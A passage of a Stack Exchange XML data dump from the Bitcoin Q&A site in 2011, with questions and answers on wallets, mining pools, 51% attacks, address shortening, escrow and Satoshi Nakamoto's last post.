tomorrow&quot;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-08-31T16:05:43.160" LastActivityDate="2011-08-31T16:05:43.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="293" PostTypeId="1" CreationDate="2011-08-31T16:24:40.380" Score="10" ViewCount="510" Body="&lt;p&gt;Currently, &lt;em&gt;bitcoins&lt;/em&gt; and &lt;em&gt;namecoins&lt;/em&gt; are implemented using the Bitcoin protocol. And there might be several reason for new block chains to appear, but this is not the subject here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, Bitcoin was not designed with ‘cross-currency atomic transactions’ in mind.&#xA;For example, as of today, one cannot exchange &lt;em&gt;bitcoins&lt;/em&gt; for &lt;em&gt;namecoins&lt;/em&gt; using the Bitcoin protocol itself.&#xA;A partner might be willing to trade, but some trust is required: who will send their coins first ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that the main interest in Bitcoin comes from its decentralized nature, accepting the need of a third party to arbitrate exchanges between two such decentralized currencies is rather disappointing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything to be done to allow ‘decentralized cross-currency transactions’ using the protocol itself (scripts maybe)? or could it be achieved with some simple modifications to the protocol?&#xA;Is this theoretically impossible under some specific conditions?&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2011-09-09T08:41:45.377" Title="Decentralized transactions between two decentralized currencies" Tags="|transactions|alternatives|currencies|decentralization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="294" PostTypeId="2" ParentId="289" CreationDate="2011-08-31T16:31:16.633" Score="7" Body="&lt;p&gt;Yes. If the has rate decreases rapidly, the number of blocks produced per day will also decrease and, as a consequence, difficulty will take much longer to be updated. However, I think that your scenario is unlikely to happen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mining network is relatively big at the moment so it will not disappear suddenly. Even if the price sinks, there are miners with cheap/free electricity that want to recover the money invested in mining rigs so they would be the last to leave. A predictable difficulty decrease is also a great opportunity to come in and collect easy profits when the 2016th block completes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a big security flaw is found, a new client can be released and fix any of these issues. Bitcoin is very flexible, like David Schwartz said.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-08-31T16:31:16.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="295" PostTypeId="2" ParentId="293" CreationDate="2011-08-31T16:32:38.963" Score="2" Body="&lt;p&gt;There is an ongoing project called &lt;a href=&quot;https://github.com/macourtney/Dark-Exchange&quot; rel=&quot;nofollow&quot;&gt;DarkExchange&lt;/a&gt; which aims to decentralize the trade process. It's not so difficult a thing to decentralize BTC&amp;lt;-&gt;NMC exchanges and the like, the real problem is exchanging for fiat, where someone has to be on the &quot;edge&quot; to make the actual transfer it still comes down to trust.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-31T16:32:38.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="296" PostTypeId="2" ParentId="264" CreationDate="2011-08-31T16:40:30.870" Score="4" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=9611.msg333916#msg333916&quot; rel=&quot;nofollow&quot;&gt;Last I heard&lt;/a&gt;, they were down to rewrite their code. Apparently too much was being done manually and they're trying to automate as much of the process as possible. There was a landing page for a time and I've not heard anything new on the subject so I'm assuming they've simply taken their web server offline for some reason.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-31T16:40:30.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="297" PostTypeId="5" CreationDate="2011-08-31T16:53:19.623" Score="0" Body="&lt;p&gt;Questions about the blockchain and its associated technologies should use this tag. Questions about alternative blockchains should not. Those should use the &quot;alternative-blockchains&quot; tag instead. Since it is also possible to use the bloc chain for non-financial purposes such as the DNS-like services offered by NameCoin, questions about such alternate blockchains may use this tag so long as they are specifically referencing the block chain of the alternate currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A block chain is a transaction database which is shared across all nodes participating in the Bitcoin (or alternate blockchain) network. A full copy of the blockchain contains every transaction which has ever occurred on that network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every block in the chain contains a hash of the previous block, which has the effect of creating a chain of blocks stretching from the &quot;Genesis block&quot; (the first block created) to the present. This also guarantees that the blocks must be in chronological order and guarantees that any block not on the &quot;tip&quot; of the block chain has not been modified since every block after it would also have to be modified which is computationally expensive and considered infeasible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Occasionally two blocks will be generated simultaneously at different locations on the network. In this event one of the blocks will be chosen to continue the block chain and the other will be &quot;orphaned.&quot; Since the blocks are effectively duplicates of one another, transaction data is not lost in this process. Such events are resolved when one of those blocks is built upon by another block. The valid chain with the most work is considered to be the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="48884" LastEditDate="2017-10-20T01:44:46.740" LastActivityDate="2017-10-20T01:44:46.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="298" PostTypeId="4" CreationDate="2011-08-31T16:53:19.623" Score="0" Body="The journal of all confirmed Bitcoin transactions. The blockchain consists of a linked sequence of blocks and each block contains a list of transactions.—Please use [blockchain.info] for the eponymous UK-based company." OwnerUserId="81" LastEditorUserId="5406" LastEditDate="2024-01-15T17:34:09.417" LastActivityDate="2024-01-15T17:34:09.417" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="299" PostTypeId="2" ParentId="286" CreationDate="2011-08-31T17:02:13.143" Score="3" Body="&lt;p&gt;You might try &lt;a href=&quot;http://www.bitcoinlocator.com&quot; rel=&quot;nofollow&quot;&gt;bitcoinLocator&lt;/a&gt;. You can advertise services that you provide in your area, and people can message you privately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try posting on the &lt;a href=&quot;https://bitcointalk.org/index.php?board=52.0&quot; rel=&quot;nofollow&quot;&gt;bitcoin forums services board&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4774" LastActivityDate="2011-08-31T17:02:13.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="300" PostTypeId="1" AcceptedAnswerId="301" CreationDate="2011-08-31T17:17:07.153" Score="60" ViewCount="13537" Body="&lt;p&gt;Some people recommended that I leave my Bitcoin client open because it &lt;em&gt;helps&lt;/em&gt; the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from the security implications, why should I do this? I thought that miners were the ones responsible for validating transactions and including them in the blockchain. What role does the Bitcoin client play in the network?&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="121614" LastEditDate="2023-11-07T23:57:01.793" LastActivityDate="2023-11-07T23:57:01.793" Title="Should I leave the Bitcoin client open?" Tags="|bitcoin-core|client|network|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="301" PostTypeId="2" ParentId="300" CreationDate="2011-08-31T17:37:19.367" Score="34" Body="&lt;p&gt;Bitcoin is a peer-to-peer network, which means that the clients not only receive the blocks from other clients, but send out the blocks to other clients. (You may notice the &quot;connections&quot; number in the bottom right of the original client. You can think of this as &quot;peers&quot; in a torrent client). So yes, by having your client open you are technically helping relay the recent blocks out across the network faster than they would get their otherwise, but there is really no reason to keep a client running all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At one point, the client also doubled as a CPU miner, but we are far past the point where that is useful from a security point of view.&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="81" LastEditDate="2011-09-02T19:01:02.827" LastActivityDate="2011-09-02T19:01:02.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="302" PostTypeId="2" ParentId="300" CreationDate="2011-08-31T18:02:58.570" Score="46" Body="&lt;p&gt;I would add two points to those already mentioned: First, if you cannot accept inbound connections (because you are behind NAT or have specifically disabled them) you won't really be helping the network. Second, if you are running any version earlier than 0.3.24, you could actually be harming the network, due to a bug in those versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason that isn't well-understood, the Bitcoin peer-to-peer network is consistently short of available inbound connection slots. This makes it more difficult for newly-started clients to establish a resilient connection to the Bitcoin network. If you can accept inbound connections, leaving your client running helps reduce this problem.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-08-31T20:36:27.007" LastActivityDate="2011-08-31T20:36:27.007" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="303" PostTypeId="2" ParentId="72" CreationDate="2011-08-31T18:08:37.840" Score="25" Body="&lt;p&gt;Say I received 10 bitcoins on a Bitcoin address I publicly advertise for donations. Anyone looking at the blockchain can put that address in a search engine and find me. Now say I want to use those 10 bitcoins to buy drugs. If the drug dealer's bitcoins are traced, they'll point right back to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I can create a lot of accounts if I want. And I can pass the 10 bitcoins I received through those accounts and then to the drug dealer. But likely because those accounts aren't used anywhere else, the trail would still lead right from the drug dealer to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now suppose I put my 10 bitcoins in an account created just for me by a Bitcoin laundering service. And you and Fred do the same thing. Then the service sends my coins to Fred and your coins to me. Then I spend the coins I got on drugs. Now the trail looks exactly the same as in the non-laundering example, except the  trail leads straight to &lt;em&gt;you&lt;/em&gt; instead of me -- a pretty good deal for me, not so much for you.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="1475" LastEditDate="2014-06-02T16:57:28.067" LastActivityDate="2014-06-02T16:57:28.067" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="304" PostTypeId="1" AcceptedAnswerId="307" CreationDate="2011-08-31T18:18:21.703" Score="20" ViewCount="1628" Body="&lt;p&gt;I see that Bitcoin addresses have built in checksums that &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/194/i-think-i-made-a-typo-what-do-i-do-now&quot;&gt;helps prevent typos&lt;/a&gt; (ie. it is highly unlikely that you can mistype a Bitcoin address and have it still be valid). However, I still think the addresses are too long to easily give to someone, publish on a business card, etc. Is there any way to shorten addresses or get specific addresses?&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2019-03-02T01:07:10.867" Title="Is there an easy way to give people a Bitcoin address?" Tags="|address|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="305" PostTypeId="1" AcceptedAnswerId="306" CreationDate="2011-08-31T18:27:05.813" Score="19" ViewCount="16978" Body="&lt;p&gt;There are lots of ways to send money - western union, paypal, bank wire, etc that are more established and fairly quick. What are the advantages of using bitcoin from a bitcoin-proponent's point of view?&lt;/p&gt;&#xA;" OwnerUserId="81" LastEditorUserId="5406" LastEditDate="2014-10-03T11:32:20.530" LastActivityDate="2014-10-03T11:32:20.530" Title="What are the perceived advantages of bitcoin as a means of exchange?" Tags="|alternatives|currencies|key-selling-points|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="306" PostTypeId="2" ParentId="305" CreationDate="2011-08-31T18:28:36.797" Score="16" Body="&lt;p&gt;The primary advantages are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Speed and price. You can transfer money anywhere in the world within minutes with negligible fees.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No central authority. Bitcoin is not dependent on any company or government to maintain its value. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can start accepting bitcoins instantaneously, without setting up merchant accounts, buying credit card processing hardware, etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoins are less traceable than many types of monetary transactions (though not anonymous).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Bitcoins cannot be counterfeited and transactions cannot be reversed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No transaction blocking or account freezing. We have seen governments freeze bank accounts of dissidents and payment processors refuse to process certain types of transactions (wikileaks, online gambling in the US, etc). With bitcoin this is impossible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A known amount of inflation. Bitcoin is seen as a store of value because the total number of bitcoins that will ever be created is known in advance and it is impossible to create more than that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="81" LastEditorUserId="540" LastEditDate="2012-12-05T03:00:29.017" LastActivityDate="2012-12-05T03:00:29.017" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="307" PostTypeId="2" ParentId="304" CreationDate="2011-08-31T18:32:23.313" Score="18" Body="&lt;p&gt;Here are a few tips to help you distribute your addresses on a more readable form:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://firstbits.net/&quot; rel=&quot;nofollow&quot;&gt;Firstbits.net&lt;/a&gt; shortens your address to (usually) less than 7 characters. To get the full address just enter the firstbits at the website (ex: &lt;a href=&quot;http://firstbits.net/?a=1kk5k&quot; rel=&quot;nofollow&quot;&gt;http://firstbits.net/?a=1kk5k&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;a href=&quot;https://bitcointalk.org/index.php?topic=25804.0&quot; rel=&quot;nofollow&quot;&gt;vanity generator&lt;/a&gt; to create a more customized address. You can try to create an address that has your name on it or any other word that you like. Bear in mind that this will still be a long address with many 'strange' characters (ex: 1stDownqyMHHqnDPRSfiZ5GXJ8Gk9dbjL)&lt;/li&gt;&#xA;&lt;li&gt;If you use an e-wallet service, there are usually shortcodes that allow users to transfer bitcoins instantaneously between users. You can only use this if the other person uses the same e-wallet as you (ex: check &lt;a href=&quot;http://www.flexcoin.com&quot; rel=&quot;nofollow&quot;&gt;Flexcoin&lt;/a&gt;, &lt;a href=&quot;http://www.tradehill.com&quot; rel=&quot;nofollow&quot;&gt;TradeHill&lt;/a&gt; or &lt;a href=&quot;http://www.campbx.com&quot; rel=&quot;nofollow&quot;&gt;CampBX&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;If you want to print your address into a business card, I suggest using &lt;a href=&quot;http://qrcode.kaywa.com/&quot; rel=&quot;nofollow&quot;&gt;QR Codes&lt;/a&gt;. They can easily be scanned with a smart phone.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastEditorUserId="18227" LastEditDate="2015-02-24T02:44:14.980" LastActivityDate="2015-02-24T02:44:14.980" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="308" PostTypeId="1" AcceptedAnswerId="3598" CreationDate="2011-08-31T18:42:24.053" Score="10" ViewCount="412" Body="&lt;p&gt;How can transactions be maliciously reversed? What resources are required?&lt;/p&gt;&#xA;" OwnerUserId="135" LastActivityDate="2012-05-10T10:40:00.097" Title="Are there any feasible methods of maliciously reversing transactions?" Tags="|transactions|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="309" PostTypeId="2" ParentId="16" CreationDate="2011-08-31T18:49:52.470" Score="3" Body="&lt;p&gt;Try &lt;a href=&quot;http://www.economist.com/blogs/babbage/2011/06/virtual-currency&quot; rel=&quot;nofollow&quot;&gt;this blog post&lt;/a&gt; from &lt;a href=&quot;http://www.economist.com/&quot; rel=&quot;nofollow&quot;&gt;The Economist&lt;/a&gt;. They are professional writers and obviously knowledgeable in economics so it's a good read. Their opinion on the future of Bitcoin is a bit pessimistic though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.economist.com/blogs/babbage/2011/06/virtual-currency&quot; rel=&quot;nofollow&quot;&gt;http://www.economist.com/blogs/babbage/2011/06/virtual-currency&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-08-31T19:13:33.087" LastActivityDate="2011-08-31T19:13:33.087" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="310" PostTypeId="2" ParentId="308" CreationDate="2011-08-31T18:57:36.107" Score="5" Body="&lt;p&gt;This is not a possible thing to do &lt;em&gt;at all&lt;/em&gt; without having over 51% of the network. All transaction are irreversable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With 51% of the network hash power, it is really easy to reverse transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone with that kind of power would make a better profit just mining as attacking the network would cause a collapse in confidence and drop the value (with that kind of power its safe to assume you have a hoard of BTC)&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2012-05-10T10:40:00.097" LastActivityDate="2012-05-10T10:40:00.097" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="311" PostTypeId="2" ParentId="308" CreationDate="2011-08-31T18:58:15.523" Score="0" Body="&lt;p&gt;Attacker would need to control more computational power than everybody else combined. To reverse his own transaction in last block he would need to privately rebuild the block with transaction removed and build another block on top of it before network builds one on top of original one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attacker cannot remove other people's transactions, at least not permanently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses#Attacker_has_a_lot_of_computing_power&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="23" LastEditorUserId="23" LastEditDate="2011-08-31T19:09:47.867" LastActivityDate="2011-08-31T19:09:47.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="312" PostTypeId="1" AcceptedAnswerId="313" CreationDate="2011-08-31T18:59:44.053" Score="35" ViewCount="2898" Body="&lt;p&gt;A mining pool with a significant percentage of the hash rate could allow double spend attacks by the pool manager. There are a number of pools that approach this level. However, most people say that a compromised pool would be easily detected, and the attack would be insignificant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, isn't this issue not about a single pool but the combined centralizing effect of pools? A moderate-sized attacker could easily compromise more than a few pool managers with a rubber hose attack, or pose as legit pools for a while until they obtain nearly complete control of the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attacker would be able to double spend a lot of bitcoins (that it generated for itself with its pools in the first place), and regardless of any monetary advantage it could destabilize and destroy confidence in bitcoin. Easily within the capabilities and motivations of a government. A well-planned attack could happen far quicker than anyone could notice and pull their miners from the pools.&lt;/p&gt;&#xA;" OwnerUserId="4774" LastEditorUserId="5406" LastEditDate="2016-01-21T14:11:11.820" LastActivityDate="2016-01-21T14:11:11.820" Title="Do mining pools centralize the Bitcoin network and make it less secure?" Tags="|mining-pools|security|decentralization|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="313" PostTypeId="2" ParentId="312" CreationDate="2011-08-31T19:36:41.083" Score="20" Body="&lt;p&gt;The short answer to your question is &quot;yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Efforts are underway to develop schemes that allow pooled mining without the pool manager being able to control what transactions go into the pool's blocks, leaving that decision (as well as which chain to extend, so long as it is reasonable) to the individual miners. All the pool really needs is proof that the miner is mining for the pool.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-08-31T19:36:41.083" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="314" PostTypeId="1" CreationDate="2011-08-31T19:52:08.000" Score="14" ViewCount="2423" Body="&lt;p&gt;I heard that the name may be a pseudonym and that very little is known about the initiator of bitcoin. Also it seems that he has stopped working on the main client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;When was his last verifiable life sign? Did he ever mention or announce his retirement?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="3684" LastEditDate="2017-12-07T23:14:04.660" LastActivityDate="2022-11-10T06:11:29.270" Title="What was the last life sign of Satoshi Nakamoto?" Tags="|history|satoshi-nakamoto|" AnswerCount="2" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="315" PostTypeId="2" ParentId="314" CreationDate="2011-08-31T20:13:01.757" Score="13" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=2228.msg29479#msg29479&quot;&gt;This was his last post&lt;/a&gt; on the Bitcoin Forums, December 12th, 2010. The day after &lt;a href=&quot;http://sourceforge.net/mailarchive/message.php?msg_id=26744510&quot;&gt;he wrote this&lt;/a&gt; to the mailing list. As far as I know he did not (publicly) announce his retirement.&lt;/p&gt;&#xA;" OwnerUserId="105" LastEditorUserId="105" LastEditDate="2011-08-31T20:33:24.237" LastActivityDate="2011-08-31T20:33:24.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="316" PostTypeId="2" ParentId="256" CreationDate="2011-08-31T20:38:26.177" Score="1" Body="&lt;p&gt;The short answer is that would have to reinvent &lt;strong&gt;bitcoin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order for a country to adapt a new currency they have to abandon their old currency, this is done by making a law that transfers the value of the source currency to the new currency on a given date at a given rate (which may be decided on the day), but doing this is impossible with bitcoin since there isn't a central authority that can bless this sort of magic transaction as there was with the euro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically they would have to invent a crypto currency that starts with the replacement of the source currency as it's seed.&lt;/p&gt;&#xA;" OwnerUserId="118" LastEditorUserId="117" LastEditDate="2011-09-01T14:01:51.850" LastActivityDate="2011-09-01T14:01:51.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="317" PostTypeId="1" AcceptedAnswerId="3000" CreationDate="2011-08-31T21:00:03.427" Score="1" ViewCount="919" Body="&lt;p&gt;DiabloMiner uses about one 50% of CPU on my system (distributed among 2 cores). I could have sworn that it used almost no CPU (1-2% max) in older versions, but I'm not really sure if I should report this as a bug or not. So, is it normal, or am I correct in remembering that GPU miner should not use more than 1-2% of CPU while mining?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/172/why-does-poclbm-acquire-100-cpu&quot;&gt;Possibly related question.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="119" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-01-21T14:10:45.407" Title="Why is DiabloMiner using so much CPU now?" Tags="|diablominer|gpu-mining|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="318" PostTypeId="2" ParentId="317" CreationDate="2011-08-31T21:51:06.337" Score="2" Body="&lt;p&gt;It almost certainly is related to the question you linked and it almost certainly has the same answer I'm sad to say. There is a lot of this going around and no one is really certain what exactly is causing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been reports that ATI's 11-7_vista64_win7_64_dd_ccc_ocl drivers often bring the problem about, and reverting back to an 11-6 version seems to fix it. Not sure if it will work for you or if it even applies to your situation but it's worth a shot.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-08-31T21:51:06.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="319" PostTypeId="2" ParentId="241" CreationDate="2011-08-31T23:19:03.363" Score="4" Body="&lt;p&gt;There aren't many established bitcoin escrow services yet. I suggest a new one that came up last month named &lt;a href=&quot;http://mybitsafe.com&quot; rel=&quot;nofollow&quot;&gt;mybitsafe&lt;/a&gt;. You can find a lot of information about the owner in the FAQ. He also made a post at the &lt;a href=&quot;https://bitcointalk.org/index.php?topic=27673.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk forums&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note that, right now, this service does not allow a buyer to get his money back. Once the money is in the escrow, the buyer either releases it to the seller or destroys the transaction (the coins get donated to the Bitcoin Faucet). You can find a discussion about the advantages/disadvantages of this in the forum thread.&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2011-08-31T23:46:51.437" LastActivityDate="2011-08-31T23:46:51.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="320" PostTypeId="2" ParentId="216" CreationDate="2011-08-31T23:45:08.643" Score="6" Body="&lt;p&gt;Money can now be stored in a single file inside your hard drive. This is a natural target for criminals so yes, there are virus that steal bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you trust a third party (like an ewallet) to hold your coins, you will not have to worry about wallet stealing virus nor about wallet security. Instead, you should protect your login credentials and/or use a two-factor authentication mechanism. Treat your e-wallet account the same way you treat your e-banking account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know of any dangerous websites, but there was a &lt;a href=&quot;http://www.symantec.com/connect/blogs/all-your-bitcoins-are-ours&quot;&gt;report of a bitcoin trojan by Symantec&lt;/a&gt; on June 2011.  &lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-08-31T23:45:08.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="321" PostTypeId="2" ParentId="193" CreationDate="2011-09-01T00:03:58.847" Score="4" Body="&lt;p&gt;If the transaction was made through a third party website (such as en e-wallet or an exchange), you could try to contact the website owner and ask for the logs, if there are any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin protocol does not record this information by itself.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-01T00:03:58.847" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="322" PostTypeId="2" ParentId="181" CreationDate="2011-09-01T00:56:54.200" Score="4" Body="&lt;p&gt;You can not copy bitcoins because there is nothing there copy. A bitcoin is not a file nor an object. It is a simple number associated with an address. The blockchain dictates which addresses contain which coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this doesn't apply to physical objects that represent bitcoins, such as &lt;a href=&quot;http://bitbills.com/&quot; rel=&quot;nofollow&quot;&gt;bitbills&lt;/a&gt;. You can try to recreate a bitbill just like you can try to recreate a dollar bill. The security measures employed by the bitbills' manufacturer have nothing to do with Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-09-01T00:56:54.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="324" PostTypeId="1" AcceptedAnswerId="325" CreationDate="2011-09-01T01:50:05.620" Score="33" ViewCount="53494" Body="&lt;p&gt;I just purchased a new laptop and I want to decommission my old one.  I have a back-up of my wallet.dat file copied to my new PC.  What do I need to do to restore it to my Bitcoin (Windows) client?  Please note, this is a wallet.dat file that is about 6 months old and I haven't loaded it in at least four months.  I'm not sure if that makes a difference or not, contingent on the original version of the client that created the file.&lt;/p&gt;&#xA;" OwnerUserId="16" LastEditorUserId="47827" LastEditDate="2022-08-22T17:25:34.130" LastActivityDate="2023-04-21T05:42:54.680" Title="How can I restore my wallet?" Tags="|bitcoin-core|wallet|security|wallet-recovery|backup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="325" PostTypeId="2" ParentId="324" CreationDate="2011-09-01T02:12:26.207" Score="30" Body="&lt;p&gt;You need to put the old wallet.dat in your bitcoin data directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The default for Windows is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Documents and Settings\YourUserName\Application data\Bitcoin (XP)&#xA;&#xA;C:\Users\YourUserName\Appdata\Roaming\Bitcoin (Vista and 7)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then run the bitcoin client with the &lt;code&gt;-rescan&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can run the bitcoin client with the &lt;code&gt;-datadir=&amp;lt;location of backup wallet.dat&amp;gt;&lt;/code&gt; as well as the &lt;code&gt;-rescan&lt;/code&gt; option if you do not want to move/backup the new wallet.dat.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The default for Mac OS X is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application\Support\Bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&#xA;&lt;strong&gt;The default for Linux is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/.bitcoin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14" LastEditorUserId="15040" LastEditDate="2014-04-04T07:52:22.757" LastActivityDate="2014-04-04T07:52:22.757" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
